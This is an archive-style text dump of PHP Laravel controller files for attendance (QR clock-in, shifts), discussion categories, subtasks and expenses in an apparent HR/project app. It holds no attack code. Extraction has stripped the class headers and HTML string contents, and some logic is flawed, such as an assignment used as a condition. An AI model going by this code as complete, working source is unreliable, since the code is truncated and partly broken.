($this->viewAttendancePermission == 'all' ? 'all' : null)); $this->departments = Team::all(); return view('attendances.by_map_location', $this->data); } protected function byMapLocationData($request) { $this->attendances = Attendance::with('user') ->join('users', 'attendances.user_id', '=', 'users.id') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('attendances.*') ->whereDate('clock_in_time', companyToDateString($request->attendance_date)) ->whereNotNull('latitude') ->whereNotNull('longitude'); if ($request->department != 'all') { $this->attendances = $this->attendances->where('employee_details.department_id', $request->department); } if ($request->userId != 'all') { $this->attendances = $this->attendances->where('users.id', $request->userId); } if ($this->viewAttendancePermission == 'owned') { $this->attendances = $this->attendances->where('users.id', user()->id); } if ($request->late != 'all') { $this->attendances = $this->attendances->where('attendances.late', $request->late); } $this->attendances = $this->attendances->get(); $view = view('attendances.ajax.map_location_data', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view]); } public function attendanceShift($defaultAttendanceSettings, $userId, $date, $clockInTime) { $checkPreviousDayShift = EmployeeShiftSchedule::without('shift')->where('user_id', $userId) ->where('date', $date->copy()->subDay()->toDateString()) ->first(); $checkTodayShift = EmployeeShiftSchedule::without('shift')->where('user_id', $userId) ->where('date', $date->copy()->toDateString()) ->first(); $backDayFromDefault = Carbon::parse($date->copy()->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_start_time); $backDayToDefault = Carbon::parse($date->copy()->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_end_time); if ($backDayFromDefault->gt($backDayToDefault)) { $backDayToDefault->addDay(); } $nowTime = Carbon::createFromFormat('Y-m-d' . ' ' . company()->time_format, $date->copy()->toDateString() . ' ' . $clockInTime, 'UTC'); if ($checkPreviousDayShift && $nowTime->betweenIncluded($checkPreviousDayShift->shift_start_time, $checkPreviousDayShift->shift_end_time)) { $attendanceSettings = $checkPreviousDayShift; } else if ($nowTime->betweenIncluded($backDayFromDefault, $backDayToDefault)) { $attendanceSettings = $defaultAttendanceSettings; } else if ($checkTodayShift && ($nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) || $nowTime->gt($checkTodayShift->shift_end_time)) ) { $attendanceSettings = $checkTodayShift; } else if ($checkTodayShift && $checkTodayShift->shift->shift_type == 'flexible') { $attendanceSettings = $checkTodayShift; } else { $attendanceSettings = $defaultAttendanceSettings; } return $attendanceSettings->shift; } public function addAttendance($userID, $day, $month, $year) { $this->date = Carbon::createFromFormat('d-m-Y', $day . '-' . $month . '-' . $year)->format('Y-m-d'); $this->attendance = Attendance::whereUserId($userID)->first(); $attendanceSettings = EmployeeShiftSchedule::where('user_id', $userID)->where('date', $this->date)->first(); if ($attendanceSettings) { $this->attendanceSettings = $attendanceSettings->shift; } else { $this->attendanceSettings = attendance_setting(); // Do not get this from session here } $this->location = CompanyAddress::all(); $this->attendanceUser = User::findOrFail($userID); return view('attendances.ajax.add_user_attendance', $this->data); } public function qrCodeStatus(Request $request) { $attendanceSetting = AttendanceSetting::first(); if (request()->qr_status == 1 && $attendanceSetting->auto_clock_in == 'yes') { return Reply::error(__('messages.qrCodeAndFirstSignError')); } $attendanceSetting->qr_enable = $request->qr_status; $attendanceSetting->save(); return Reply::success('Success'); } public function qrClockInOut(Request $request, $hash) { // Check if the user is authenticated if (!Auth::check()) { return redirect()->route('login')->with('info', 'Please log in to clock in.'); } // Retrieve the authenticated user $user = user(); $leaveApplied = Leave::where('user_id', $user->id) ->whereDate('leave_date', now()->format('Y-m-d')) ->where('status', 'approved') ->first(); $checkTodayHoliday = Holiday::where('date', now()->format('Y-m-d')) ->where(function ($query) use ($user) { $query->orWhere('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }) ->where(function ($query) use ($user) { $query->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }) ->where(function ($query) use ($user) { if (!is_Null($user->employeeDetail->employment_type)) { $query->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); } }) ->first(); $company = company(); $showClockIn = attendance_setting(); $attendanceSettings = $this->attendanceShiftFromTrait($showClockIn); $startTime = \Carbon\Carbon::createFromFormat('H:i:s', $attendanceSettings->office_start_time, company()->timezone); $midTime = \Carbon\Carbon::createFromFormat('H:i:s', $attendanceSettings->halfday_mark_time, company()->timezone); $endTime = \Carbon\Carbon::createFromFormat('H:i:s', $attendanceSettings->office_end_time, company()->timezone); $currentTime = now()->timezone($company->timezone); if (!is_null($attendanceSettings->early_clock_in)) { $startTime->subMinutes($attendanceSettings->early_clock_in); } if ($startTime->gt($endTime)) { // check if shift end time is less then current time then shift not ended yet if( now(company()->timezone)->lessThan($endTime) || (now(company()->timezone)->greaterThan($endTime) && now(company()->timezone)->lessThan($startTime)) ){ $startTime->subDay(); $midTime->subDay(); }else{ $midTime->addDay(); $endTime->addDay(); } } $cannotLogin = false; $date = now()->format('Y-m-d'); $attendance = Attendance::where('user_id', $this->user->id) ->whereDate('clock_in_time', $date) ->get(); foreach ($attendance as $item) { if ($item->clock_out_time !== null && now()->between($item->clock_in_time, $item->clock_out_time)) { // if ($item->clock_out_time !== null && added this condition $cannotLogin = true; break; } } if ($showClockIn->employee_clock_in_out == 'no' || $attendanceSettings->shift_name == 'Day Off') { $cannotLogin = true; } elseif (is_null($attendanceSettings->early_clock_in) && !now($this->company->timezone)->between($startTime, $endTime) && $showClockIn->show_clock_in_button == 'no' && $attendanceSettings->shift_type == 'strict') { $cannotLogin = true; } elseif($attendanceSettings->shift_type == 'strict') { $earlyClockIn = now($this->company->timezone)->addMinutes($attendanceSettings->early_clock_in)->setTimezone('UTC'); if (!$earlyClockIn->gte($startTime) && $showClockIn->show_clock_in_button == 'no') { $cannotLogin = true; } elseif ($cannotLogin && now()->betweenIncluded($startTime->copy()->subDay(), $endTime->copy()->subDay())) { $cannotLogin = false; } } $isAttendanceApplied = true; if ($leaveApplied != null && ($leaveApplied->duration === 'single' || $leaveApplied->duration === 'multiple') && $currentTime->between($startTime, $endTime)) { $message = __('messages.leaveApplied'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $leave = true; $isAttendanceApplied = false; return view('attendance-settings.ajax.qrview', compact('message', 'leave')); }elseif ($leaveApplied != null && ($leaveApplied->duration === 'half day' && $leaveApplied->half_day_type === 'first_half' && $currentTime->lt($midTime) && $currentTime->between($startTime, $midTime))) { $message = __('messages.leaveForFirstHalf'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $leave = true; $isAttendanceApplied = false; return view('attendance-settings.ajax.qrview', compact('message', 'leave')); }elseif ($leaveApplied != null && ($leaveApplied->duration === 'half day' && $leaveApplied->half_day_type === 'second_half' && $currentTime->gt($midTime) && $currentTime->between($midTime, $endTime))) { $message = __('messages.leaveForSecondHalf'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $leave = true; $isAttendanceApplied = false; return view('attendance-settings.ajax.qrview', compact('message', 'leave')); }elseif(!is_null($checkTodayHoliday) && $checkTodayHoliday->exists){ $message = __('messages.todayHoliday'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $holiday = true; $isAttendanceApplied = false; return view('attendance-settings.ajax.qrview', compact('message', 'holiday')); } elseif($cannotLogin == true){ $message = __('messages.notInOfficeHours'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $outOfShiftHours = true; $isAttendanceApplied = false; return view('attendance-settings.ajax.qrview', compact('message', 'outOfShiftHours')); } $userCompany = Company::where('hash', $hash)->first(); // Check if the user is already clocked in for today $todayAttendance = Attendance::where('user_id', $user->id) ->whereDate('clock_in_time', now()->format('Y-m-d')) ->where('company_id', $userCompany->id) ->whereNull('clock_out_time') ->first(); $outtimeDate = null; $intimeDate = null; $trackerReminder = LogTimeFor::where('company_id', $company->id)->first(); $time = $currentTime->format('h:i A'); if ($todayAttendance && !session('qr_clock_in')) { // User is already clocked in, so clock them out $this->clockOutUser($todayAttendance); $message = __('messages.attendanceClockOutSuccess'); $clockInTime = $todayAttendance->clock_in_time; $intime = Carbon::parse($clockInTime)->timezone($company->timezone); $intimeDate = $intime->format('h:i A'); $clockOutTime = $todayAttendance->clock_out_time; $outtime = Carbon::parse($clockOutTime)->timezone($company->timezone); $outtimeDate = $outtime->format('h:i A'); $workingintime = Carbon::parse($clockInTime); // Assuming $clockInTime is already a Carbon instance $workingouttime = Carbon::parse($todayAttendance->clock_out_time); // Assuming $todayAttendance->clock_out_time is already a Carbon instance $totalWorkingTime = $workingintime->diff($workingouttime)->format('%h hours %i minutes'); $notAuthorize = false; $qrClockIn = false; } else { $attendanceSetting = AttendanceSetting::first(); // Check if attendance setting status is enabled if ($attendanceSetting->qr_enable == 1) { // User is not clocked in for today, so clock them in if($isAttendanceApplied = true){ $res = $this->clockInUser($user, $request); session(['qr_clock_in' => true]); } if (isset($res['status']) && $res['status'] == 'success') { // Clock in successful, set success message $message = __('messages.attendanceClockInSuccess'); $clockInTime = $todayAttendance?->clock_in_time->format('h:i A'); $clockOutTime = null; $totalWorkingTime = null; $notAuthorize = false; $qrClockIn = false; } elseif (isset($res['type']) && $res['type'] == 'error') { // Clock in successful, set success message $message = $res['message'] ?? __('messages.attendanceClockInFailed'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $notAuthorize = true; $qrClockIn = true; $time = null; } else { // Clock in failed, set error message $message = $res['message'] ?? __('messages.attendanceClockInFailed'); $clockInTime = null; $clockOutTime = null; $totalWorkingTime = null; $time = null; $notAuthorize = false; $qrClockIn = false; } } else { // Attendance feature is not enabled, prevent user from clocking in return redirect()->route('dashboard')->with('error', __('Attendance feature is currently disabled.')); } } // Pass the message and other details to the view and return the view return view('attendance-settings.ajax.qrview', compact('message', 'intimeDate', 'outtimeDate', 'totalWorkingTime', 'todayAttendance', 'time', 'notAuthorize', 'qrClockIn')); } private function clockInUser($user, $request) { $now = now(); $showClockIn = AttendanceSetting::first(); // Retrieve attendance settings $this->attendanceSettings = $this->attendanceShiftqr($showClockIn); // Construct start and end timestamps $startTimestamp = now()->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; $endTimestamp = now()->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone); // Check if the user can clock in if ($showClockIn->show_clock_in_button == 'yes') { $officeEndTime = now(); } $officeStartTime = $officeStartTime->setTimezone('UTC'); $officeEndTime = $officeEndTime->setTimezone('UTC'); if ($officeStartTime->gt($officeEndTime)) { $officeEndTime->addDay(); } $this->cannotLogin = false; $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime, $officeEndTime, $this->user->id); // Adjust timestamps based on office start and end times // $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone) // ->setTimezone('UTC'); // $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone) // ->setTimezone('UTC'); // $lateTime = $officeStartTime->addMinutes($this->attendanceSettings->late_mark_duration); // $checkTodayAttendance = Attendance::where('user_id', $this->user->id) // ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $now->format('Y-m-d'))->first(); // Check if the user is allowed to clock in based on settings if ($showClockIn->employee_clock_in_out == 'yes') { // Check if it's too early to clock in if (is_null($this->attendanceSettings->early_clock_in) && !$now->between($officeStartTime, $officeEndTime) && $showClockIn->show_clock_in_button == 'no' && $this->attendanceSettings->shift_type == 'strict') { $this->cannotLogin = true; } elseif($this->attendanceSettings->shift_type == 'strict') { $earlyClockIn = now(company()->timezone)->addMinutes($this->attendanceSettings->early_clock_in); $earlyClockIn = $earlyClockIn->setTimezone('UTC'); if ($earlyClockIn->gte($officeStartTime) || $showClockIn->show_clock_in_button == 'yes') { $this->cannotLogin = false; } else { $this->cannotLogin = true; } } // Check if the user can clock in from previous day if ($this->cannotLogin && now()->betweenIncluded($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay())) { $this->cannotLogin = false; $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime->copy()->subDay(), $officeEndTime->copy()->subDay(), $this->user->id); } } else { $this->cannotLogin = true; } // Abort if user cannot login abort_403($this->cannotLogin); // Check user by IP $notAuthorize = false; if (attendance_setting()->ip_check == 'yes') { $ips = (array)json_decode(attendance_setting()->ip_address); if (!in_array($request->ip(), $ips)) { return ['type' => 'error', 'message' => __('messages.notAnAuthorisedDevice'), 'notAuthorize' => $notAuthorize, 'time' => null]; }else{ $notAuthorize = true; } } $qrClockIn = false; $currentLatitude = $currentLongitude = null; // Check user by location if (attendance_setting()->radius_check == 'yes') { $checkRadius = $this->isWithinRadius($request, $user); if (!$checkRadius) { return ['type' => 'error', 'message' => __('messages.notAnValidLocation'), 'qrClockIn' => $qrClockIn]; }else{ $qrClockIn = true; $currentLatitude = $request->currentLatitude ?: session('current_latitude'); $currentLongitude = $request->currentLongitude ?: session('current_longitude'); } } // Check maximum attendance in a day if ($this->attendanceSettings->shift_type == 'strict') { $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime, $officeEndTime, $user->id); } else { $clockInCount = Attendance::whereDate('clock_in_time', $officeStartTime->copy()->toDateString()) ->where('user_id', $user->id) ->count(); } if ($clockInCount >= $this->attendanceSettings->clockin_in_day) { return ['type' => 'error', 'message' => __('messages.maxClockin')]; // return Reply::error(__('messages.maxClockin')); } if ($this->attendanceSettings->halfday_mark_time) { $halfDayTimestamp = $now->format('Y-m-d') . ' ' . $this->attendanceSettings->halfday_mark_time; $halfDayTimestamp = Carbon::createFromFormat('Y-m-d H:i:s', $halfDayTimestamp, $this->company->timezone); $halfDayTimestamp = $halfDayTimestamp->setTimezone('UTC'); $halfDayTimestamp = $halfDayTimestamp->timestamp; } $timestamp = $now->format('Y-m-d') . ' ' . $this->attendanceSettings->office_start_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $timestamp, $this->company->timezone); $officeStartTime = $officeStartTime->setTimezone('UTC'); $lateTime = $officeStartTime->addMinutes($this->attendanceSettings->late_mark_duration); $checkTodayAttendance = Attendance::where('user_id', $this->user->id) ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $now->format('Y-m-d'))->first(); if ($user->employeeDetail && $user->employeeDetail->company_address_id) { $companyAddress = CompanyAddress::findOrFail($user->employeeDetail->company_address_id); } else { $companyAddress = CompanyAddress::where('is_default', 1)->where('company_id',$user->company_id)->first(); } // Save the attendance record $attendance = new Attendance(); $attendance->user_id = $user->id; $attendance->clock_in_time = $now; $attendance->clock_in_ip = request()->ip(); $attendance->location_id = $companyAddress->id; $attendance->work_from_type = 'office'; $attendance->latitude = $currentLatitude; $attendance->longitude = $currentLongitude; // Add more attributes as necessary... if ($now->gt($lateTime)) { $attendance->late = 'yes'; } $leave = Leave::where('leave_date', $attendance->clock_in_time->format('Y-m-d')) ->where('user_id', $this->user->id)->first(); if (isset($leave) && !is_null($leave->half_day_type)) { $attendance->half_day = 'yes'; } else { $attendance->half_day = 'no'; } $currentTimestamp = $now->setTimezone('UTC'); $currentTimestamp = $currentTimestamp->timestamp;; // Check day's first record and half day time if ( !is_null($this->attendanceSettings->halfday_mark_time) && is_null($checkTodayAttendance) && isset($halfDayTimestamp) && ($currentTimestamp > $halfDayTimestamp) && ($showClockIn->show_clock_in_button == 'no') // DO NOT allow half day when allowed outside hours clock-in ) { $attendance->half_day = 'yes'; } $currentLatitude = $request->currentLatitude; $currentLongitude = $request->currentLongitude; if ($currentLatitude != '' && $currentLongitude != '') { $attendance->latitude = $currentLatitude; $attendance->longitude = $currentLongitude; } $attendance->employee_shift_id = $this->attendanceSettings->id; $attendance->shift_start_time = $attendance->clock_in_time->toDateString() . ' ' . $this->attendanceSettings->office_start_time; if (Carbon::parse($this->attendanceSettings->office_start_time)->gt(Carbon::parse($this->attendanceSettings->office_end_time))) { $attendance->shift_end_time = $attendance->clock_in_time->addDay()->toDateString() . ' ' . $this->attendanceSettings->office_end_time; } else { $attendance->shift_end_time = $attendance->clock_in_time->toDateString() . ' ' . $this->attendanceSettings->office_end_time; } $attendance->save(); return Reply::successWithData(__('messages.attendanceClockInSuccess'), ['time' => $now->format('h:i A'), 'ip' => $attendance->clock_in_ip, 'working_from' => $attendance->working_from, 'notAuthorize' => $notAuthorize, 'qrClockIn' => $qrClockIn]); // return ['type' => 'success', 'message' => __('messages.attendanceSaveSuccess')]; // return Reply::successWithData(__('messages.attendanceSaveSuccess'), [ // 'time' => $now->format('h:i A'), // 'ip' => $attendance->clock_in_ip, // 'working_from' => $attendance->working_from // ]); } private function clockOutUser($attendance) { // Update clock-out time $attendance->update(['clock_out_time' => now()]); } public function attendanceShiftqr($defaultAttendanceSettings) { $checkPreviousDayShift = EmployeeShiftSchedule::with('shift')->where('user_id', user()->id) ->where('date', now(company()->timezone)->subDay()->toDateString()) ->first(); $checkTodayShift = EmployeeShiftSchedule::with('shift')->where('user_id', user()->id) ->where('date', now(company()->timezone)->toDateString()) ->first(); $backDayFromDefault = Carbon::parse(now(company()->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_start_time); $backDayToDefault = Carbon::parse(now(company()->timezone)->subDay()->format('Y-m-d') . ' ' . $defaultAttendanceSettings->office_end_time); if ($backDayFromDefault->gt($backDayToDefault)) { $backDayToDefault->addDay(); } $nowTime = Carbon::createFromFormat('Y-m-d H:i:s', now(company()->timezone)->toDateTimeString(), 'UTC'); if ($checkPreviousDayShift && $nowTime->betweenIncluded($checkPreviousDayShift->shift_start_time, $checkPreviousDayShift->shift_end_time)) { $attendanceSettings = $checkPreviousDayShift; } else if ($nowTime->betweenIncluded($backDayFromDefault, $backDayToDefault)) { $attendanceSettings = $defaultAttendanceSettings; } else if ($checkTodayShift && ($nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) || $nowTime->gt($checkTodayShift->shift_end_time) || (!$nowTime->betweenIncluded($checkTodayShift->shift_start_time, $checkTodayShift->shift_end_time) && $defaultAttendanceSettings->show_clock_in_button == 'no')) ) { $attendanceSettings = $checkTodayShift; } else if ($checkTodayShift && !is_null($checkTodayShift->shift->early_clock_in)) { $attendanceSettings = $checkTodayShift; } else { $attendanceSettings = $defaultAttendanceSettings; } return $attendanceSettings->shift; } } Http/Controllers/DiscussionCategoryController.php000064400000005173150325104510016371 0ustar00addPermission = user()->permission('manage_discussion_category'); abort_403(!in_array($this->addPermission, ['all'])); $this->categories = DiscussionCategory::all(); return view('discussions.create_category', $this->data); } public function store(StoreRequest $request) { $this->addPermission = user()->permission('manage_discussion_category'); abort_403(!in_array($this->addPermission, ['all'])); $category = new DiscussionCategory(); $category->name = $request->category_name; $category->color = $request->color; $category->save(); $categories = DiscussionCategory::all(); $options = ''; foreach ($categories as $item) { $options .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public function update(UpdateRequest $request, $id) { $category = DiscussionCategory::findOrFail($id); if ($request->has('name')) { $category->name = strip_tags($request->name); } if ($request->has('color')) { $category->color = strip_tags($request->color); } $category->save(); $categories = DiscussionCategory::all(); $options = ''; foreach ($categories as $item) { $options .= ''; } return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } public function destroy($id) { $this->addPermission = user()->permission('manage_discussion_category'); abort_403($this->addPermission !== 'all'); DiscussionCategory::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/SubTaskController.php000064400000011626150325104510014124 0ustar00subTask = SubTask::with(['files'])->findOrFail($id); return view('tasks.sub_tasks.edit', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function show($id) { $this->subTask = SubTask::with(['files'])->findOrFail($id); return view('tasks.sub_tasks.detail', $this->data); } /** * @param StoreSubTask $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreSubTask $request) { $this->addPermission = user()->permission('add_sub_tasks'); $task = Task::findOrFail($request->task_id); $taskUsers = $task->users->pluck('id')->toArray(); $userId = UserService::getUserId(); abort_403(!( $this->addPermission == 'all' || ($this->addPermission == 'added' && ($task->added_by == user()->id || $task->added_by == $userId)) || ($this->addPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->addPermission == 'added' && (in_array(user()->id, $taskUsers) || $task->added_by == user()->id || $task->added_by == $userId)) )); $subTask = new SubTask(); $subTask->title = $request->title; $subTask->task_id = $request->task_id; $subTask->description = trim_editor($request->description); $subTask->start_date = ($request->start_date != '') ? companyToYmd($request->start_date) : null; $subTask->due_date = ($request->due_date != '') ? companyToYmd($request->due_date) : null; $subTask->assigned_to = $request->user_id ? $request->user_id : null; $subTask->save(); $task = $subTask->task; $this->logTaskActivity($task->id, $this->user->id, 'subTaskCreateActivity', $task->board_column_id, $subTask->id); return Reply::successWithData(__('messages.recordSaved'), [ 'subTaskID' => $subTask->id]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $subTask = SubTask::findOrFail($id); SubTask::destroy($id); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); $this->task = Task::with(['subtasks', 'subtasks.files'])->findOrFail($subTask->task_id); $view = view('tasks.sub_tasks.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } public function changeStatus(Request $request) { $subTask = SubTask::findOrFail($request->subTaskId); $subTask->status = $request->status; $subTask->save(); $this->task = Task::with(['subtasks', 'subtasks.files'])->findOrFail($subTask->task_id); $this->logTaskActivity($this->task->id, user()->id, 'subTaskUpdateActivity', $this->task ->board_column_id, $subTask->id); $view = view('tasks.sub_tasks.show', $this->data)->render(); return Reply::successWithData('messages.updateSuccess', ['view' => $view]); } /** * @param StoreSubTask $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(StoreSubTask $request, $id) { $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); $subTask = SubTask::findOrFail($id); $subTask->title = $request->title; $subTask->description = trim_editor($request->description); $subTask->start_date = ($request->start_date != '') ? companyToYmd($request->start_date) : null; $subTask->due_date = ($request->due_date != '') ? companyToYmd($request->due_date) : null; $subTask->assigned_to = $request->user_id ? $request->user_id : null; $subTask->save(); $task = $subTask->task; $this->logTaskActivity($task->id, $this->user->id, 'subTaskUpdateActivity', $task->board_column_id, $subTask->id); $this->task = Task::with(['subtasks', 'subtasks.files'])->findOrFail($subTask->task_id); $view = view('tasks.sub_tasks.show', $this->data)->render(); return Reply::successWithData(__('messages.updateSuccess'), ['view' => $view]); } } Http/Controllers/ExpenseController.php000064400000043474150325104510014165 0ustar00pageTitle = 'app.menu.expenses'; $this->middleware(function ($request, $next) { abort_403(!in_array('expenses', $this->user->modules)); return $next($request); }); } public function index(ExpensesDataTable $dataTable) { $viewPermission = user()->permission('view_expenses'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->employees = User::allEmployees(null, true); $this->projects = Project::allProjects(); $this->categories = ExpenseCategoryController::getCategoryByCurrentRole(); } return $dataTable->render('expenses.index', $this->data); } public function changeStatus(Request $request) { abort_403(user()->permission('approve_expenses') != 'all'); $expenseId = $request->expenseId; $status = $request->status; $expense = Expense::findOrFail($expenseId); $expense->status = $status; $expense->save(); return Reply::success(__('messages.updateSuccess')); } public function show($id) { $this->expense = Expense::with(['user', 'project', 'category', 'transactions' => function($q){ $q->orderByDesc('id')->limit(1); }, 'transactions.bankAccount'])->findOrFail($id)->withCustomFields(); $this->viewPermission = user()->permission('view_expenses'); $viewProjectPermission = user()->permission('view_project_expenses'); $this->editExpensePermission = user()->permission('edit_expenses'); $this->deleteExpensePermission = user()->permission('delete_expenses'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->expense->added_by == user()->id) || ($viewProjectPermission == 'owned' || $this->expense->user_id == user()->id))); $getCustomFieldGroupsWithFields = $this->expense->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->pageTitle = $this->expense->item_name; $this->view = 'expenses.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('expenses.show', $this->data); } public function create() { $this->addPermission = user()->permission('add_expenses'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->currencies = Currency::all(); $this->categories = ExpenseCategoryController::getCategoryByCurrentRole(); $this->linkExpensePermission = user()->permission('link_expense_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $this->companyCurrency = Currency::where('id', company()->currency_id)->first(); // Get only current login employee projects if ($this->addPermission == 'added') { $this->projects = Project::where('added_by', user()->id)->orWhereHas('projectMembers', function ($query) { $query->where('user_id', user()->id); })->get(); } else { $this->projects = Project::all(); } $this->pageTitle = __('modules.expenses.addExpense'); $this->projectId = request('project_id') ? request('project_id') : null; if (!is_null($this->projectId)) { $this->project = Project::with('projectMembers')->where('id', $this->projectId)->first(); $this->projectName = $this->project->project_name; $this->employees = $this->project->projectMembers; } else { $this->employees = User::allEmployees(null, true); } $expense = new Expense(); $getCustomFieldGroupsWithFields = $expense->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'expenses.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('expenses.show', $this->data); } public function store(StoreExpense $request) { $currencySetting = Currency::findOrFail($request->currency_id); $userRole = session('user_roles'); $expense = new Expense(); $expense->item_name = $request->item_name; $expense->purchase_date = companyToYmd($request->purchase_date); $expense->purchase_from = $request->purchase_from; $expense->price = round($request->price, $currencySetting->no_of_decimal); $expense->currency_id = $request->currency_id; $expense->category_id = $request->category_id; $expense->user_id = $request->user_id; $expense->default_currency_id = company()->currency_id; $expense->exchange_rate = $request->exchange_rate; $expense->description = trim_editor($request->description); if ($userRole[0] == 'admin') { $expense->status = 'approved'; $expense->approver_id = user()->id; } if ($request->has('status')) { $expense->status = $request->status; $expense->approver_id = user()->id; } if ($request->has('project_id') && $request->project_id != '0') { $expense->project_id = $request->project_id; } if ($request->hasFile('bill')) { $filename = Files::uploadLocalOrS3($request->bill, Expense::FILE_PATH); $expense->bill = $filename; } $expense->bank_account_id = $request->bank_account_id; $expense->save(); // To add custom fields data if ($request->custom_fields_data) { $expense->updateCustomFieldData($request->custom_fields_data); } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('expenses.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } public function edit($id) { $this->expense = Expense::findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_expenses'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->expense->added_by == user()->id))); $this->currencies = Currency::all(); $this->categories = ExpenseCategoryController::getCategoryByCurrentRole(); $this->employees = User::allEmployees(null, false); $this->pageTitle = __('modules.expenses.updateExpense'); $this->linkExpensePermission = user()->permission('link_expense_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', $this->expense->currency_id); if($this->viewBankAccountPermission == 'added'){ $bankAccounts = $bankAccounts->where('added_by', user()->id); } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; $userId = $this->expense->user_id; if (!is_null($userId)) { $this->projects = Project::with('members')->whereHas('members', function ($q) use ($userId) { $q->where('user_id', $userId); })->get(); } else { $this->projects = Project::get(); } $this->companyCurrency = Currency::where('id', company()->currency_id)->first(); $expense = new Expense(); $getCustomFieldGroupsWithFields = $expense->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->view = 'expenses.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('expenses.show', $this->data); } public function update(StoreExpense $request, $id) { $currencySetting = Currency::findOrFail($request->currency_id); $expense = Expense::findOrFail($id); $expense->item_name = $request->item_name; $expense->purchase_date = companyToYmd($request->purchase_date); $expense->purchase_from = $request->purchase_from; $expense->price = round($request->price, $currencySetting->no_of_decimal); $expense->currency_id = $request->currency_id; $expense->user_id = $request->user_id; $expense->category_id = $request->category_id; $expense->default_currency_id = company()->currency_id; $expense->exchange_rate = $request->exchange_rate; $expense->description = trim_editor($request->description); $expense->project_id = ($request->project_id > 0) ? $request->project_id : null; if ($request->bill_delete == 'yes') { Files::deleteFile($expense->bill, Expense::FILE_PATH); $expense->bill = null; } if ($request->hasFile('bill')) { Files::deleteFile($expense->bill, Expense::FILE_PATH); $filename = Files::uploadLocalOrS3($request->bill, Expense::FILE_PATH); $expense->bill = $filename; } if ($request->has('status')) { $expense->status = $request->status; } $expense->bank_account_id = $request->bank_account_id; $expense->save(); // To add custom fields data if ($request->custom_fields_data) { $expense->updateCustomFieldData($request->custom_fields_data); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('expenses.index')]); } public function destroy($id) { $this->expense = Expense::findOrFail($id); $this->deletePermission = user()->permission('delete_expenses'); 